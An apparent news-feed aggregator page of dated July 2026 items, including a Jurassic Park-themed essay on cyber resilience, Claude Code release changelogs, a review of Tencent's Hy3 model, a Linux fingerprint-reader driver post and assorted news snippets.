OpenAI has replaced its Mac apps with a confusing 1.45 GB amalgamation, killed its ChatGPT Atlas Web browser after less than a year, and boosted ChatGPT Voice by backing it with more capable models.

KAZ Review (PC)

Mon, 13 Jul 2026 19:50:50 +0200

To be successful, you have to act on instinct, without allowing your brain to actually think. Making plans and evaluating targets takes time. Raking up points to get to the threshold and, hopefully, put some in the piggy bank requires pure action, a seamless connection between eyes, ears, nerves, and fingers. I made good upgrade choices, focused on extra time and more points for enemies killed. So, I can reliably win rounds even when my actions per minute decline. If I hit the star, it’s even easier to make progress. The problem is that I was cursed after stepping on one too many traps, and I have to deal with being randomly teleported. It’s disorienting and also slows my character down at the worst time. So I launch into a new level, clearing opponents quickly, hoping my lightning strikes hit traps, and keeping an eye out for the high-value star. There’s not enough time to get into a flow state. I get the needed score with a few seconds to go, and I already start ...

Jurassic Park, cybersecurity and the dangerous myth of control

Mon, 13 Jul 2026 12:08:23 +0200

Jurassic Park wasn’t really about dinosaurs.

It was about arrogant people building systems they believed were controllable.

“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter how expensive the fences are, and no matter how confident the operators feel, nature eventually escapes containment.

And in every movie, it does.

The dinosaurs always get out. The systems fail. Eventually, the humans lose control.

What makes Jurassic Park fascinating is that despite advanced monitoring, complex containment systems and sophisticated operational controls, the outcome never really changes. At its core, the story is about people mistaking visibility for control.

Cybersecurity has the same problem.

For years, security teams have operated under the assumption that with enough tooling, governance, process, maturity and spend, we can build environments that are effectively secure. Maybe not perfect, but secure enough that compromise becomes rare and manageable.

But attackers find a way.

Given enough time, skill or motivation, they eventually identify the weakness nobody considered. The overlooked privilege. The dependency nobody mapped. The misconfiguration hiding behind layers of dashboards, process, and compliance reporting.

We are already seeing this play out. Nation-state attacks are becoming increasingly sophisticated, while AI-driven exploit discovery is beginning to compress vulnerability research from weeks into minutes.

The raptors are learning faster now.

Mistaking visibility for control

That does not mean prevention no longer matters. The fences in Jurassic Park still slowed the dinosaurs down. They created friction. They reduced exposure. Modern security controls do the same thing.

But the failure in Jurassic Park was never simply that the fences broke.

It was that the entire system assumed the fences represented certainty.

Cybersecurity often makes the same mistake.

The industry has become incredibly good at demonstrating preparedness in controlled environments. Dashboards. Compliance reports. Tabletop exercises. RTO metrics. Recovery attestations.

Jurassic Park had dashboards too.

The problem is that visibility is often mistaken for survivability. Organizations can prove they monitored the environment, documented the process, and ran the exercise, while still having very little confidence that the business could continue operating during a genuine systemic failure.

Most organizations still operate with an implicit belief that compromise is exceptional rather than inevitable. Disaster recovery plans, business continuity workshops, and annual tabletop exercises are treated as evidence of resilience. In reality, many of them are carefully controlled simulations of a world that no longer exists.

Traditional disaster recovery was designed for an era where infrastructure changed slowly, applications were relatively static, and dependencies were limited enough that recovery assumptions could remain valid for months or even years.

That world is gone. AI killed it.

Environments now evolve constantly. Cloud infrastructure changes daily. AI-assisted development accelerates release cycles. Applications rely on sprawling third-party ecosystems. APIs connect systems in ways many organizations do not fully understand. Entire workloads appear and disappear dynamically.

The environment you tested last quarter may no longer exist today.

And yet many resilience programs still operate as if annual or quarterly testing provides meaningful confidence.

Most companies do not really test resilience.

They test optimism.

The backup fallacy

And nowhere is this overconfidence more obvious than backups.

Somewhere along the way, organizations confused “having backups” with “being resilient.” Those are not remotely the same thing.

A backup simply proves you stored a copy of something at a specific point in time. It does not prove you can survive.

Most recovery models were designed in the late 90s and early 2000s for relatively static systems and predictable infrastructure. The core philosophy has barely evolved since then, even as environments have become increasingly distributed, ephemeral, and interconnected.

Restoring data is not the same as restoring operations.

Restoring infrastructure is not the same as restoring business functionality. Modern application are complex and rely on ephemeral elements, third party components and applications as well as complex data flows not just data sets.

Very few organizations continuously validate whether they can recover full feature-function applications, maintain operational workflows, preserve data integrity, reconnect dependencies, restore permissions correctly, or continue operating under active attack conditions.

We built incredibly sophisticated telemetry for understanding how we die.

We built almost none for proving we can survive.

That gap is becoming impossible to ignore.

The recent rise of continuous resilience testing and recovery validation is not accidental. It reflects a growing realization that recovery assumptions themselves may no longer be trustworthy.

Static resilience models are struggling to survive dynamic infrastructure.

This is where resilience starts becoming an engineering problem rather than a compliance exercise.

When restoration assumptions fail

Because the real question is no longer, “How quickly can we restore the application?”

The real question is, “What happens if we cannot restore it?”

Jurassic Park repeatedly explored exactly this scenario. The real panic never started when the fences failed. It started when the operators realized they could not regain control quickly enough.

Businesses now face the same risk.

What happens if AWS experiences a prolonged outage? What happens if Azure Identity Services fail globally? What happens if Stripe, Salesforce, Slack, or Microsoft 365 disappear for days rather than hours?

Many organizations do not actually have business continuity strategies for those situations.

They have restoration assumptions.

Twenty years ago, most organizations directly owned large portions of their operational stack. Today, companies increasingly rent critical business capability from a relatively small number of providers.

Identity. Infrastructure. Communications. Payments. Collaboration. Customer operations.

The efficiency gains are enormous.

So is the concentration risk.

Resilience as an engineering discipline

Historically, business continuity planning assumed localized disruption. A building burned down. A regional data center failed. A storm impacted an office. The internet itself was not the dependency.

Today, entire businesses are built on tightly interconnected SaaS and cloud ecosystems where operational survivability depends on third parties remaining continuously available.

We optimized organizations for efficiency, automation, integration, and scale.

Not necessarily survivability.

That is why resilience needs to evolve beyond annual tabletop exercises and static recovery plans.

True resilience is not a binder sitting on a shelf. It is not a workshop performed once a year. It is not a recovery document written against an environment that changed six months ago.

It is a continuous understanding of the environment itself.

It requires live telemetry, operational visibility, dependency awareness, continuous validation, and the ability to adapt under changing conditions.

Adapting to chaos

The survivors in Jurassic Park only succeeded once they stopped pretending the environment was fully controllable and instead adapted to the reality in front of them.

Cybersecurity needs to make the same shift.

Attackers will keep adapting.

AI will accelerate faster than most governance models can handle.

Complexity will continue to outpace our assumptions about control.

The organizations that survive will not necessarily be the ones with the tallest fences. They will be the ones who understand their environments deeply enough to continue operating when control is lost.

The goal was never to eliminate chaos.

It was to survive long enough to adapt to it.

Because resilience is not about preventing chaos.

It is about operating through it.

Because eventually, one way or another, life finds a way.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect

Mon, 13 Jul 2026 10:25:03 +0200

„House of the Dragon“ Staffel 3 ist da: Start von Episode 5 auf HBO Max und WOW

Mon, 13 Jul 2026 09:02:27 +0200

Will Iowa Call for an Investigation of Their Soldiers Killed in Iran?

Sun, 12 Jul 2026 19:53:04 +0200

Just thinking out loud here, how rural state representatives are supposed to represent their constituencies and not be lapdogs of elites throwing lives away in pointless foreign wars. Survivors of Iranian attack that killed 6 U.S. troops say generals ignored warnings: The drone strike on Port Shuaiba in Kuwait occurred on the second day of … Continue reading →

'Quality decays exponentially following AI arrival': Research shows experts and contributors leaving online communities amidst silent 'knowledge reset'

Sun, 12 Jul 2026 07:17:17 +0200

AI may have killed Stack Overflow while training on the same platform, as it pushed expert contributors away from the platform

ICE are heavily armed killers. They’re also huge losers

Sat, 11 Jul 2026 15:02:54 +0200

Donald Trump's Homeland Security regime has been at the center of two critical stories in the past two weeks. In the first, federal agents shot and killed a man and quickly got to work justifying the use of force under the flimsiest of pretenses. In the other, it made house calls to people who said […]

Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City

Sat, 11 Jul 2026 08:06:36 +0200

The longest blackout in Berlin, since Hitler killed himself, was last January as temperatures hovered below freezing. The Russian-directed “Vulkan” arson attack on a cable bridge in the city’s southwest stopped electricity to 45,000 households and 2,200 businesses, with some 100,000 residents left without heat. The Mayor basically played tennis from the start, with another … Continue reading →

Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City

Sat, 11 Jul 2026 07:52:31 +0200

Got a "Windows Hello only" USB fingerprint reader working on Linux by running the vendor's Windows matcher natively

Sat, 11 Jul 2026 04:09:44 +0200

Bought a cheap standalone USB fingerprint dongle (Focal-systems FT9201, 2808:93a9) that's marketed as Windows Hello only. libfprint's built-in matcher does a poor job on the tiny 96×96 sensor, and the device is "match-on-host" - the actual matching lives in a vendor Windows DLL, not on the chip.

So instead of reimplementing the matcher, the driver loads the vendor's Windows matching engine (ftWbioEngineAdapter.dll) in-process on Linux and calls its WinBio interface for enroll/verify. It's a small PE loader with ~90 kernel32 shims and a fake TEB. Getting there also meant reverse-engineering the sensor's firmware-boot sequence (the MCU wouldn't run its firmware without a specific register-config dance).

The loader maps code read-execute and data read-write from an in-memory file, so no page is ever writable+executable - meaning it runs under fprintd's default MemoryDenyWriteExecute hardening without disabling anything. It enrolls and verifies through fprintd / KDE now.

Packaged as an out-of-tree libfprint driver - no proprietary binaries committed (the DLL and firmware are fetched/extracted from public sources at build time).

I also wrote up the method, since it should generalize to other match-on-host "Windows Hello only" readers.

*Edit: This project would not have been possible without the help of agentic coding. I'm personally responsible for research, testing, ideation and pushing this goal forward. Claude Code and my development stack handled the majority of code, testing and writing tasks. I am not looking for kudos on being an amazing developer or am looking for clout. I just wanted to share a method of actualizing something into existence that I know will help solve for an underserved gap in Linux hardware parity.

submitted by /u/OMGrant
[link] [comments]

Brown Professor Suspects Majority of His Class Used AI To Cheat

Sat, 11 Jul 2026 01:07:16 +0200

Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a few students had expressed anxiety about being in a classroom after a gunman killed two students and injured nine in a December mass shooting at Brown, and so "it was appropriate," he said, to allow students to take their exams at home. But by the end of the semester, Serrano regretted the decision. Dozens of students in the class likely used artificial intelligence to cheat and earn perfect or near-perfect scores on their midterm, he said. Serrano in turn made the final exam in-person, which led more than a dozen students to drop the course and even more to fail it. Administrators' response to the widespread cheating event has been "meek," he said, and the incident has raised questions about how universities can -- and should -- respond to AI-enabled cheating at scale. "I am not declaring [the midterm] void for now. I am going to give the class a chance to prove me wrong," he wrote. "That is, if the distribution of the final exam is roughly similar to the distribution of the midterm, I will count the midterm. Otherwise, which is of course what I expect to happen, I will declare the midterm void and reweigh the final accordingly." Serrano heard crickets from his students, but 18 of them subsequently dropped the class. Nine students remained enrolled but did not take the final exam. And Serrano said the results proved him right; three students earned a zero, and the average score on the final was 48.6 percent -- by far a historic low, he said. Previously, the average final exam score had never dropped below 65 percent. Only a few students scored similarly to how they did on the midterm.

Read more of this story at Slashdot.

ICE is threatening to deport witnesses of its latest shooting

Fri, 10 Jul 2026 21:32:43 +0200

Advocates are demanding that the Department of Homeland Security release bodycam footage of the fatal shooting of Lorenzo Salgado Araujo, a Mexican immigrant who was killed by ICE officers in Houston during a traffic stop earlier this week. But DHS claims the agents involved in the shooting weren't wearing body cameras because of the lengthy […]

OpenAI's Atlas browser doesn't make it to its first birthday

Fri, 10 Jul 2026 17:03:00 +0200

Standalone experiment killed after less than 12 months as model maker redirects agentic ambitions towards workplace productivity

v2.1.206

Fri, 10 Jul 2026 03:46:40 +0200

What's changed

Added directory path suggestions to /cd, matching /add-dir behavior
Added a /doctor check that proposes trimming checked-in CLAUDE.md files by cutting content Claude could derive from the codebase
/commit-push-pr now auto-allows git push to the repo's configured push remote (remote.pushDefault, or the sole remote when only one is configured) in addition to origin
Gateway: /login now supports Anthropic-operated public gateway endpoints
EnterWorktree now asks for confirmation before entering a git worktree outside the project's .claude/worktrees/ directory
Background agents now upgrade to a new version in the background right after a Claude Code update, instead of paying a slow stale-session upgrade when you attach
Fixed an expired login failing every model with a misleading "There's an issue with the selected model" error instead of prompting to run /login
Fixed claude --resume and --continue not responding to keyboard input on startup
Fixed MCP servers configured via --mcp-config or .mcp.json ignoring a per-server request_timeout_ms, which caused long-running MCP tool calls to time out at the 60s default in fresh sessions
Fixed CLAUDE_CODE_EXTRA_BODY being silently ignored by claude agents / --bg background workers; the shell-exported override now follows the dispatching session
Fixed OAuth MCP servers requiring manual re-authentication after a single failed token refresh
Fixed --permission-prompt-tool pointing at an MCP server crashing with "MCP tool not found" on cold start before the server finishes connecting
Fixed /model picker rows printing a price for a different model than the row named, and stopped quoting first-party list prices on providers that don't bill them
Fixed server-provided model rows being misplaced in the /model picker when an entitlement or allowlist restriction drops the row they were positioned against
Fixed desktop sessions getting stuck showing "running" after a slash command was sent mid-turn
Fixed keyboard input being ignored in the agents view when a setup prompt appeared before a bare claude --resume on Windows
Fixed claude rm leaving the removed job in the daemon roster, causing the row to reappear in claude agents
Fixed /remote-control showing "Unknown command" when logged out — it now explains how to sign in
Fixed left arrow not stepping back out of a phase or agent in the workflow detail view
Fixed /status listing the same broken-install warning twice
Fixed false "disused plugin" tips and skewed disuse telemetry for LSP plugins
Fixed /doctor's update check to compare Homebrew installs against their cask's channel instead of the settings channel
Fixed the fullscreen jump-to-bottom pill suggesting Ctrl+End on macOS, not showing rebound chords, and wrapping over the transcript
Bedrock: fixed a multi-minute startup hang when using an awsCredentialExport helper on networks with restricted egress
Improved /code-review findings quality on claude-opus-4-8 across all effort levels
Improved agents view: status column now uses full terminal width instead of truncating at 64 characters
Changed agents view: Ctrl+X now permanently removes a completed session, and sessions no longer render twice; deleted background jobs stay deleted

Berlin Court Jails a Serial Murderer: Doctor Killed Patients and Burned Their Homes

Thu, 09 Jul 2026 11:08:09 +0200

The Berlin court says a doctor was committing heinous serial murders for at least three years before German authorities stopped him. At least fifteen people are confirmed victims, with women being the vast majority. Burning nearly half their homes seems like the kind of clue that makes the timeline of inaction even worse. The court … Continue reading →

The IDE is dead, long live the ADE

Wed, 08 Jul 2026 11:04:02 +0200

For the last 40 years or so, software development tooling has centered around the IDE — the integrated development environment. Borland is widely credited with bringing the IDE to the masses. The joining of the editor, compiler, and debugger into a single entity revolutionized the software development industry. The popularization of the IDE through the likes of my beloved Turbo Pascal in the mid-1980s marked a huge turning point for coding.

But the IDE’s reign is over. With the unbelievably rapid rise of agentic coding, the IDE has become an afterthought, a tool that developers are finding they use less and less. Instead, developers are spending time managing agents that are actually writing the code.

Things are moving pretty fast, changing monthly if not weekly. It was only a few months ago that I was building things inside my IDE with an agent’s help. But before long, I had four or five console windows open, working on different projects all at the same time as the agents ground away at different things. This was barely manageable when working on separate repositories and projects at the same time, but when I wanted to work on different features inside the same repository, it got a bit hairy.

Clearly, we developers have a need for a next-generation tool to manage all of this.

Coding agents need worktrees

The first step was recognizing a little-known and underutilized feature of Git — worktrees. Git worktrees allow you to check out multiple branches of the same repository into different directories from a single Git database. A longtime power-user technique used only by a few, worktrees are perfectly suited for the new world of agentic coding.

Typically, a developer would work on one ticket at a time, and a simple Git checkout would do the trick. That assumes one actor — the developer — working on the codebase. But with coding agents, the notion of working on three Jira tickets at the very same time is no longer crazy, and worktrees enable that. They give each “developer” their own branch and directory. It’s easy isolation without the overhead of cloning and forking separate instances of repositories.

So this old Git feature that has been lying around basically unused has suddenly become the key to agentic coding. But of course, the overhead of worktrees is challenging in and of itself. If only there were a way to manage all of that in one place.

Agentic coders need ADEs

And that is where ADEs come in — agentic development environments. A new kind of development environment that arose with agentic AI, an ADE coordinates and manages all of the things that need to happen when multiple coding agents work on multiple issues in multiple branches in one repository. As Matt Johnston, CEO of GitKraken, maker of the Kepler ADE, put it, “The IDE was built for the age of one human typing. The ADE is built for the age of humans orchestrating fleets of agents.”

ADEs will do all the dirty work of opening, running, and closing the worktrees in Git. Having five console windows open and managing all of that is not something a human is very good at. But an AI-driven agentic development environment sure is.

The days of single-threaded development are over. With an ADE, developers can multitask with ease and track many tasks at once. Without having to worry about the logistics and overhead of managing multiple agents working in multiple worktrees, developers can focus on directing the agents and ensuring that they do the right work for the task at hand.

Admit it, you don’t really use the IDE that much anymore. And you aren’t going to miss it.

v2.1.203

Tue, 07 Jul 2026 23:16:55 +0200

What's changed

Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted
Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible
Added the session's additional working directories to MCP roots/list, with notifications/roots/list_changed sent when the set changes
Fixed opening or switching background agent sessions on macOS stalling for 15–20 seconds due to a false low-memory detection (regression in 2.1.196)
Fixed background sessions becoming permanently unresponsive to attach, replies, and stop when the daemon's session token went stale — the session now recovers automatically
Fixed returning to claude agents silently stopping running subagents and re-running the prompt from scratch — their work now carries over
Fixed a memory and per-turn CPU regression in interactive sessions: the context-usage indicator no longer re-analyzes the entire transcript after every turn
Fixed background agents inheriting a stale PATH from the daemon instead of the dispatching shell, causing missing tools on Windows
Fixed background and agent-view sessions dropping a shell-exported ANTHROPIC_BASE_URL, which sent API keys to the default endpoint and failed with 401
Fixed Bash failing with "argument list too long" in repos with many git worktrees
Fixed worktree-isolated subagents sometimes running shell commands in the parent checkout instead of their own worktree
Fixed worktree creation rejecting nested repositories in multi-repo workspaces, leaving background sessions unable to isolate and edit
Fixed background agents crash-looping when their working directory was deleted, replaced by a file, or became an invalid path — they now fail once with a clear error
Fixed a background daemon auto-upgrade failure silently killing all running background sessions
Fixed TaskStop and TaskOutput failing to find background agents spawned by another agent — errors now list running agents by id and description
Fixed the claude agents composer discarding your typed message when a slash command isn't available there
Fixed the agent list crashing when opening a stopped session whose conversation was already open in another session
Fixed background sessions showing "Needs input" in the agent list after the question was already answered
Fixed background agent startup failures showing only "exit_with_message" instead of the actual error
Fixed background sessions ignoring effortLevel changes in settings.json when forked through the daemon
Fixed attached background sessions ignoring CLAUDE_CODE_DISABLE_MOUSE and CLAUDE_CODE_DISABLE_MOUSE_CLICKS opt-outs
Fixed /exit incorrectly warning about running background agents after all named agents had completed
Fixed background sessions started from a non-git directory unable to edit files when a WorktreeCreate hook was configured
Fixed the @ directory picker in claude agents not showing registered git worktrees
Fixed background task output on Windows being permanently replaced by an empty file after /clear
Fixed content jumping when scrolling up through long transcript history
Fixed the terminal flickering and jumping while typing in bash mode when a shell-history suggestion was shown
Fixed literal ^[[I / ^[[O escape codes being printed when reattaching to a background session
Fixed LSP-only plugins being incorrectly flagged for disuse when their language servers deliver diagnostics or answer navigation requests
Improved responsiveness while long responses stream: live-preview updates no longer re-render the whole screen
Improved subagent behavior: agents are now less likely to re-delegate their entire task to another subagent
Reduced binary size by ~7 MB and startup memory by ~7 MB by loading a large bundled dependency lazily instead of inlining it
Changed left arrow to no longer close the background tasks, diff, and workflow detail views — press Esc instead
Changed the empty claude agents view to always show the organized sections (Needs input / Working / Completed) with descriptions
Removed the startup "claude command missing or broken" warnings — they now appear in /doctor and /status instead
Removed a redundant navigation hint from the claude agents footer
[VSCode] Added a Settings toggle for "Enable Remote Control for all sessions"

Samsung Messages has just been killed off, forcing loyal users to make the switch to Google Messages, and not everyone is pleased — this is what you need to do

Tue, 07 Jul 2026 22:32:55 +0200

Samsung Messages has finally shut down in favor of Google Messages, and this is what you need to do if you haven't made the switch.

RTL überrascht mit XXL-Ankündigung: Auch "Let's Dance" bekommt 2027 die längste Staffel aller Zeiten

Tue, 07 Jul 2026 20:03:08 +0200

Nach dem Dschungelcamp legt RTL nach: Auch "Let's Dance" wird so umfangreich wie nie zuvor. Der Sender verlängert gleich zwei seiner größten Erfolgsformate. Dieser Artikel wurde einsortiert unter RTL, TV-Show, TV-Serie / Webserie, RTL+, Serien.

v2.1.202

Tue, 07 Jul 2026 01:02:00 +0200

What's changed

Added a "Dynamic workflow size" setting in /config for controlling how large Claude generally makes dynamic workflows (small/medium/large agent counts) — an advisory guideline, not an enforced cap
Added workflow.run_id and workflow.name OpenTelemetry attributes to telemetry emitted by workflow-spawned agents, so a workflow run's activity can be reconstructed from OTel data
Fixed a crash in the inline Ctrl+R history search when accepting or cancelling while the search was still scanning the history file
Fixed /rename on background sessions being reverted when the job restarts, which broke addressing the session by its new name
Fixed transient mTLS handshake failures when settings were re-applied during an in-place client certificate rotation
Fixed commands sent from Remote Control (mobile/web) into an interactive session failing with "Unknown command"
Fixed images and files sent from the Remote Control mobile or web app without a caption being silently dropped
Fixed the sign-in URL printed by claude auth login and claude mcp login --no-browser not being reliably clickable when it wraps over SSH — it is now emitted as a single hyperlink
Fixed opening a chat from claude agents sometimes failing with "currently running as a background agent" followed by a worker crash/respawn loop
Fixed workflow scripts with unicode quote escapes in strings being corrupted before parsing; workflow parse errors now show the offending line instead of always blaming TypeScript
Fixed voice dictation retrying in an unbounded loop when the microphone or audio recorder fails — repeated capture failures now pause voice input
Fixed /remote-control sessions showing the wrong permission mode in the mobile and web apps
Fixed resuming a session by name, or opening the resume picker, taking minutes and using a large amount of memory in repositories with many git worktrees
Fixed installer and updater downloads failing immediately with "aborted" when a proxy or network drops the connection mid-download — transient connection drops now retry
Fixed re-invoking an already-loaded skill appending a duplicate copy of its instructions to context
Improved /workflows agent list layout: wider titles, a dedicated time column, shorter model names, and no per-row tool-call counts
Improved MCP error messages: clearer error when a server config has url but no type, suggesting "type": "http" instead of the misleading "command: expected string"
Changed /review back to a fast single-pass review; use /code-review for the multi-agent review at a chosen effort level

Tencent's Apache-licensed Hy3 takes on GLM-5.2 at half the size — and wins everywhere except coding

Mon, 06 Jul 2026 19:04:28 +0200

For the past year, the awkward secret of the open-weight model boom has been that many of the strongest Chinese releases were off-limits to a large slice of the enterprises most interested in them. License terms that excluded the European Union, the United Kingdom and South Korea meant legal teams killed deployments before engineering teams finished their evals — not just for companies headquartered there, but for any enterprise serving traffic into those regions. For IT teams weighing open models, the trade-offs are unusually explicit.

Tencent just removed that obstacle. The company's Hunyuan team released the full version of Hy3, a 295-billion-parameter Mixture-of-Experts (MoE) model with 21 billion active parameters, and — in a reversal from April's preview release — shipped it under the permissive Apache 2.0 license. The reaction from the open-model community was immediate, with researchers on X singling out the license change as the real headline, and one widely shared post arguing that if the scores hold up, Tencent has just become one of the leaders of open source. Tencent says it will be free on OpenRouter for two weeks.

The scores are worth scrutinizing — and they don't all point the same direction. But the more interesting story is what Tencent chose to lead with: reliability metrics and deployment economics aimed squarely at production use.

From preview to product in ten weeks, shaped by 50 internal teams

Hy3's April preview was the first model of Tencent's rebuilt pre-training and reinforcement learning infrastructure, shipped less than three months after the February rebuild. Chief AI Scientist Shunyu Yao framed the early open release as a deliberate move to gather feedback from developers and users before the official version — and Tencent says that's exactly what happened. According to the model card, the team collected feedback from more than 50 product teams after the late-April preview, fixed issues in task execution and interaction, and scaled up its post-training pipeline.

The architecture is unchanged: 295B total parameters, 21B active per forward pass via top-8 routing across 192 experts, a 3.8B-parameter multi-token prediction (MTP) layer for speculative decoding, and a 256K context window. What changed is behavior. Tencent's positioning is that the full release significantly outperforms similar-size models and rivals flagship open-source models with two to five times the parameters.

That "two to five times" framing makes sense for where this model is aimed — and it invites a direct comparison with the current open-weight coding leader, GLM-5.2.

Tencent's blind test favors Hy3 over GLM-5.1, but GLM-5.2 still owns coding

Tencent's headline evaluation is a blind human study rather than a leaderboard. Arguing that public benchmarks don't tell the full story, the company ran a blind test with 270 experts across disciplines working on real-world workflows, collecting 312 valid comparisons, in which Tencent reports that Hy3 scored 2.67 out of 4 against GLM-5.1's 2.51 — with the clearest advantages in frontend development, CI/CD, and data and storage work.

The choice of opponent matters. Zhipu AI released GLM-5.2 in mid-June, and Tencent's own benchmark appendix shows GLM-5.2 ahead of Hy3 across essentially the entire agentic coding suite: SWE-bench Verified (84.2 vs. 78.0), SWE-bench Multilingual (83.0 vs. 75.8), Terminal-Bench 2.1 (81 vs. 71.7) and DeepSWE by a wide margin (46.2 vs. 28.0). The blind test targeted the older model; the newer one keeps the coding crown.

GLM-5.2's coding lead is less surprising once you consider the sizes are side by side: GLM-5.2 is roughly a 744-billion-parameter MoE with around 40 billion active parameters per token, against Hy3's 295 billion total and 21 billion active. Tencent is fielding a model with less than half the parameters — and nearly half the per-token compute — of the one it trails.

Hy3's genuine wins sit elsewhere. On agentic search, it posts 84.2 on BrowseComp and 91.0 on DeepSearchQA — ahead of every open model in Tencent's table and competitive with Claude Opus 4.8 and GPT-5.5. It leads the open field on tool orchestration (79.1 on the public MCP-Atlas set), on agent-harness evaluations like ClawEval, and on long-context retrieval (73.4 on AA-LCR). Read together, the appendix suggests a model that is arguably the best open-weight choice for search-and-tool-heavy agent workloads, while conceding repository-scale coding to GLM-5.2.

One caveat applies to both the wins and the losses: nearly all competitor numbers in Tencent's appendix are marked as coming from Tencent's own test runs. Independent verification, from indices like Artificial Analysis, is still pending as of publication.

The reliability pitch: hallucination rates cut in half

Where the release gets most interesting for enterprise buyers is the set of numbers Tencent chose to emphasize instead of benchmarks. The model card reads less like a leaderboard announcement and more like a production reliability report.

In internal evaluations on real-world scenarios, Tencent says Hy3's hallucination rate dropped compared to the preview version from 12.5% to 5.4%, and commonsense error rates fell from 25.4% to 12.7% — improvements it attributes to fine-grained data cleaning and training constraints built around an explicit behavior pattern: answer when grounded, state when evidence is missing, don't conflate sources, don't fabricate data. Multi-turn behavior gets the same treatment: the issue rate on internal multi-turn tests fell from 17.4% to 7.9%, and Tencent reported that the model's score on the open MRCR long-dialogue benchmark jumped from 42.9% to 75.1%.

Tencent also emphasizes consistency across agent scaffolds — reporting SWE-bench variance within a few points whether the model runs inside Claude Code-style harnesses, Cline or KiloCode. That's an underrated property: enterprises rarely control which agent framework their teams standardize on, and a model that only performs in one harness is a hidden integration cost. These are self-reported internal measurements, and they deserve the same skepticism as any vendor benchmark. But the choice to foreground them at all signals who Tencent believes its customer is: teams that have been burned by models that demo well and fabricate confidently in production.

The deployment math: a 295B model in a 744B world — on export-compliant silicon

The reliability story connects directly to the economics, and this is where Hy3's coding gap against GLM-5.2 starts to look like a deliberate trade rather than a loss.

GLM-5.2 is a roughly 744-billion-parameter MoE with about 40 billion active parameters per token; in FP8, its weights alone consume roughly 744GB, making an 8x H200 node the practical minimum for production serving. Hy3, at 295B total parameters, carries an FP8 footprint of under 300GB — less than half the memory, with roughly half the active parameters per token driving lower per-request compute. For an organization deciding what to self-host, that's the difference between one heavily-specced node and something far more attainable, with room left over for KV cache and batching.

There's a geopolitical wrinkle in the deployment guide worth noticing too: Tencent's recommended serving configuration targets Nvidia’s H20-3e — the memory-boosted variant of the H20, the GPU Nvidia designed specifically to comply with U.S. export restrictions on China. Unlike GLM-5.2, there is no mention of Huawei or Ascend chips here. In other words, the model is sized so that eight of the chips Chinese companies can legally buy comfortably serve it at full precision. That constraint-driven design has a convenient side effect for everyone else: a model that runs well on deliberately capped silicon runs even more comfortably on the H100s, H200s and B200s available in Western data centers, through standard vLLM and SGLang deployments with MTP speculative decoding.

Add the Apache 2.0 license — no regional exclusions, no field-of-use restrictions — and the enterprise equation becomes clear. GLM-5.2 remains the open-weight choice when coding performance is the only criterion and an 8x H200 budget is available. Hy3 makes its case everywhere else: search and tool-heavy agent workloads, reliability-sensitive applications and organizations that want frontier-adjacent capability without frontier-scale infrastructure. The open question is whether Western enterprises, now that the license barrier is gone, will treat a Tencent model as a serious candidate at all — or whether the next Artificial Analysis update settles the benchmark debate before procurement gets the chance.

„House of the Dragon“ Staffel 3 ist da: Start von Folge 4 auf HBO Max und WOW

Mon, 06 Jul 2026 10:33:43 +0200

80 Years Since Kielce pogrom: When Poland Killed Holocaust Survivors

Sun, 05 Jul 2026 06:52:37 +0200

The history is tied to a child’s lie about being held in a basement. His father went to the police and they immediately rushed to start killing Jews, including Holocaust survivors. …instead of protecting the people inside the house, militia members and soldiers shot at the Jews inside and dragged others out to where the … Continue reading →

Ich-Sucht vs. Leistung: Wie Sie Egoisten ausbremsen

Sun, 05 Jul 2026 05:08:21 +0200

Es war zum Haareraufen: Nichts funktionierte, und obendrein behauptete der Kunde, seine Anforderungen seien nicht verstanden worden. Es ging um ein Testsystem für autonomes Fahren, bei dem sich die Implementierung der Algorithmen als bedeutend anspruchsvoller herausstellte, als zu Projektbeginn angenommen. Mittlerweile war der Kunde richtig sauer und drohte mit der Aufkündigung der Zusammenarbeit. Ein Turnaround musste her, und zwar schnell.

Wer Egoisten im Team hat, sollte diese gekonnt und mutig ausbremsen. Wir geben Ihnen die richtige Argumentation an die Hand.

Foto: Just dance – shutterstock.com

Da auch in anderen Projekten die Gefahr bestand, ins Hintertreffen zu geraten, fasste sich der Engineering-Chef ein Herz und setze kurzfristig ein außerordentliches Review für alle größeren Projekte an. Doch leider hatte er die Rechnung ohne seinen Kollegen, den Projektdirektor, gemacht. Dieser fühlte sich ob des Vorpreschens brüskiert und griff kurzerhand zum allerletzten Mittel: Er drohte mit Kündigung, falls es bei dem Review bliebe. Die Folgen: Absage, offener Konflikt, massive Irritation bei den Projekten und der Führungsmannschaft.

Was unternehmerisch völlig richtig war, geriet zum Fiasko. Ja, es wäre eleganter gewesen, den Kollegen sofort mit einzubeziehen. Doch nein, es kann nicht sein, dass das Ego eines Einzelnen über das Wohl und Wehe wichtiger Projekte entscheidet. Gang und gäbe ist es dennoch und das Umfeld schreckt meist davor zurück, solche Egoisten in ihre Schranken zu verweisen. Sie scheinen entweder wohlgelitten oder von allen gefürchtet – zwei komplett entgegengesetzte Regungen mit allerdings identischen Folgen: Das unternehmerisch kontraproduktive Verhalten wird zementiert statt abgestellt.

“Ego über alles?”

Um das zu verhindern, lohnt sich der Blick auf drei typische Verhaltensmuster, die darauf hindeuten und ein Gegensteuern brauchen:

Drohen statt Unterstützen: “Ich bin wichtiger als die Sache” – das ist die eigentliche Aussage, die meist in Drohungen steckt. Damit wird das Klima sofort und nachhaltig vergiftet. Das ist ein nicht zu tolerierendes No-Go, das es sofort zu entlarven gilt. Konter: “Was willst Du mit Deiner Drohung sagen?” “Das zieht bei mir nicht” – derart aufgedeckt, fallen die meisten Drohungen in sich zusammen. In hartnäckigen Fällen braucht es Hilfe durch Eskalation. Denn das Gefährliche daran ist, dass diese Art der Einschüchterung eine Schattenhierarchie mit heimlichen Anführern erzeugt, die eine Abteilung wie ein Pilz zersetzen kann.
